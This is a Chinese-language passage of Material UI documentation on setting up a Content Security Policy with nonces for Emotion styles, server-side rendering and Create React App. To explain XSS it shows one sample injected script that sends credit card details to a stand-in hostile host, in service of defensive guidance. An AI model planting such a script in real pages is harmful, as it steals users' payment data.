跳到内容
+

内容安全策略 (CSP)

本节介绍设置 CSP 的详细信息。

什么是 CSP 以及它为什么有用?

CSP 通过要求开发者将资源检索来源列入白名单,从而缓解跨站脚本 (XSS) 攻击。此列表作为标头从服务器返回。例如,假设您的站点托管在 https://example.com,CSP 标头 default-src: 'self'; 将允许所有位于 https://example.com/* 的资源,并拒绝所有其他资源。如果您的网站的某个部分容易受到 XSS 攻击(其中显示了未转义的用户输入),攻击者可能会输入类似以下内容:

<script>
  sendCreditCardDetails('https://hostile.example');
</script>

此漏洞将允许攻击者执行任何操作。但是,使用安全的 CSP 标头,浏览器将不会加载此脚本。

您可以在 MDN Web Docs 上阅读更多关于 CSP 的信息。

如何实现 CSP?

服务端渲染 (SSR)

要将 CSP 与 Material UI(和 Emotion)一起使用,您需要使用 nonce。Nonce 是一个随机生成的字符串,仅使用一次,因此您需要在每个请求上添加服务器中间件来生成一个 nonce。

CSP nonce 是一个 Base 64 编码的字符串。您可以像这样生成一个:

import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');

您必须使用 UUID 版本 4,因为它生成一个不可预测的字符串。然后,将此 nonce 应用于 CSP 标头。应用 nonce 后,CSP 标头可能如下所示:

header('Content-Security-Policy').set(
  `default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);

您应该在服务器上的 <style> 标签中传递 nonce。

<style
  data-emotion={`${style.key} ${style.ids.join(' ')}`}
  nonce={nonce}
  dangerouslySetInnerHTML={{ __html: style.css }}
/>

然后,您必须将此 nonce 传递给 Emotion 的缓存,以便它可以将其添加到后续的 <style> 中。

const cache = createCache({
  key: 'my-prefix-key',
  nonce: nonce,
  prepend: true,
});

function App(props) {
  return (
    <CacheProvider value={cache}>
      <Home />
    </CacheProvider>
  );
}

Create React App (CRA)

根据 Create React App 文档,Create React App 将在生产构建期间默认将运行时脚本动态嵌入到 index.html 中。这将需要在每次部署期间在您的 CSP 中设置新的哈希值。

要将 CSP 与作为 Create React App 初始化的项目一起使用,您需要在用于生产构建的 .env 文件中设置 INLINE_RUNTIME_CHUNK=false 变量。这将像往常一样导入运行时脚本而不是嵌入它,从而避免在每次部署期间设置新哈希值的需要。

styled-components

nonce 的配置并不简单,但您可以关注 此 issue 以获得更多见解。